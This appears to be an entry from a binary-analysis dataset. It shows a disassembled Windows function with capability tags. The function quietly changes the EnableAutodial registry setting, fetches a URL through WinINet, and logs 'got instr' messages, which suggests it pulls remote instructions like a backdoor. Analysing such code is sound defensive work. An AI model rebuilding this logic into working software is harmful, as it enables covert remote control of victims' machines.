Function at 0x403a00
Capabilities:
Create http request
Query or enumerate registry value
Read data from internet
Receive data
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4070c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x102c
call fcn.00406bd0
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x10], esp
call fcn.00406994
xor ebx, ebx
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], ebx
call fcn.00406994
push 0x40a714
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString_1
mov eax, 4
mov byte [ebp - 4], 2
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x20]
mov byte [ebp - 0x11], bl
push eax
push 0xf003f
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push 0x80000001
mov dword [ebp - 0x34], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x403aac
mov ecx, dword [0x40ad08]
push ecx
push str.uid:_s_no_internet_settings_key
push 0x40ab68
call sub.MFC42.DLL_CString::Format
add esp, 0xc
mov ecx, 0x40ac70
push 0x40ab68
call fcn.00406740
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x2c]
push edx
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x30]
push eax
push ecx
push ebx
push str.EnableAutodial
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
je 0x403af4
push eax
mov eax, dword [0x40ad08]
push eax
push str.uid:_s_no_internet_settings_value:_d
push 0x40ab68
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, 0x40ac70
push 0x40ab68
call fcn.00406740
cmp dword [ebp - 0x2c], ebx
je 0x403b42
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0x34]
push ecx
mov ecx, dword [ebp - 0x20]
push edx
push eax
push ebx
push str.EnableAutodial
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp eax, ebx
je 0x403b42
mov edx, dword [0x40ad08]
push eax
push edx
push str.uid:_s_fail_to_change_internet_setting:_d
push 0x40ab68
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, 0x40ac70
push 0x40ab68
call fcn.00406740
mov esi, dword [ebp + 8]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 4], 3
mov eax, dword [esi]
push eax
push ecx
push str.ag:_s_strt_gi:_s
push 0x40ab68
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, 0x40ac70
push 0x40ab68
call fcn.00406740
lea edx, [ebp - 0x24]
mov ecx, edi
push edx
call fcn.00404170
push 0x40a63c
lea ecx, [ebp - 0x18]
call fcn.00406a12
mov eax, dword [ebp - 0x24]
push ebx
push ebx
push ebx
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0x40a638
lea ecx, [ebp - 0x18]
mov edi, eax
call fcn.00406a12
cmp edi, ebx
jne 0x403be1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0x40ad08]
push eax
push ecx
push str.uid:_s_no_iss:_d
push 0x40ab68
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, 0x40ac70
push 0x40ab68
call fcn.00406740
jmp 0x403e02
mov eax, dword [esi]
push ebx
push 0x80000000
push 0xffffffffffffffff
push ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push 0x40a620
lea ecx, [ebp - 0x18]
mov esi, eax
call fcn.00406a12
cmp esi, ebx
jne 0x403c6c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2ee3
mov dword [ebp + 8], eax
jne 0x403c36
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x103c]
push edx
lea ecx, [ebp + 8]
push eax
push ecx
mov dword [ebp - 0x1c], 0x400
call dword [sym.imp.WININET.dll_InternetGetLastResponseInfoA]
mov eax, dword [ebp + 8]
mov edx, dword [0x40ad08]
push eax
push edx
push str.uid:_s_no_ifl:_d
push 0x40ab68
call sub.MFC42.DLL_CString::Format
mov eax, dword [ebp + 8]
add esp, 0x10
mov ecx, 0x40ac70
mov dword [0x40ae6c], eax
push 0x40ab68
call fcn.00406740
jmp 0x403e02
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x103c]
push ecx
push 0x1000
push edx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0x40a608
lea ecx, [ebp - 0x18]
call fcn.00406a12
lea eax, [ebp - 0x103c]
mov ecx, 0x40ad04
push eax
call fcn.00406a12
push 0x40a604
lea ecx, [ebp - 0x18]
call fcn.00406a12
push 0x40a600
mov ecx, 0x40ad04
call sub.MFC42.DLL_CString::operator_2
push 0x40a5fc
lea ecx, [ebp - 0x18]
call fcn.00406a12
mov ecx, dword [0x40ad04]
mov edx, dword [0x40ad08]
push ecx
push edx
push str.uid:_s_got_instr_42:_s
push 0x40ab68
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, 0x40ac70
push 0x40ab68
call fcn.00406740
mov eax, dword [ebp - 0x1c]
push ebx
push eax
mov ecx, 0x40ad04
call sub.MFC42.DLL_CString::SetAt
push 0x40a5e0
lea ecx, [ebp - 0x18]
call fcn.00406a12
mov ecx, dword [0x40ad04]
mov edx, dword [0x40ad08]
push ecx
push edx
push str.uid:_s_got_instr:_s
push 0x40ab68
mov dword [0x40ae6c], ebx
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, 0x40ac70
push 0x40ab68
call fcn.00406740
push 0x40a5c8
lea ecx, [ebp - 0x18]
call fcn.00406a12
push 0x40a5c4
lea ecx, [ebp - 0x18]
mov byte [ebp - 0x11], 1
call fcn.00406a12
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push 0x40a5c0
lea ecx, [ebp - 0x18]
call fcn.00406a12
push edi
call esi
jmp 0x403e02
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 4], 2
cmp eax, ebx
je 0x403e58
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x30]
lea eax, [ebp - 0x2c]
push edx
mov edx, dword [ebp - 0x20]
push eax
push ecx
push ebx
push str.EnableAutodial
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp eax, ebx
je 0x403e58
push eax
mov eax, dword [0x40ad08]
push eax
push str.uid:_s_fl_cls_a_d:_d
push 0x40ab68
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, 0x40ac70
push 0x40ab68
call fcn.00406740
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0x11]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4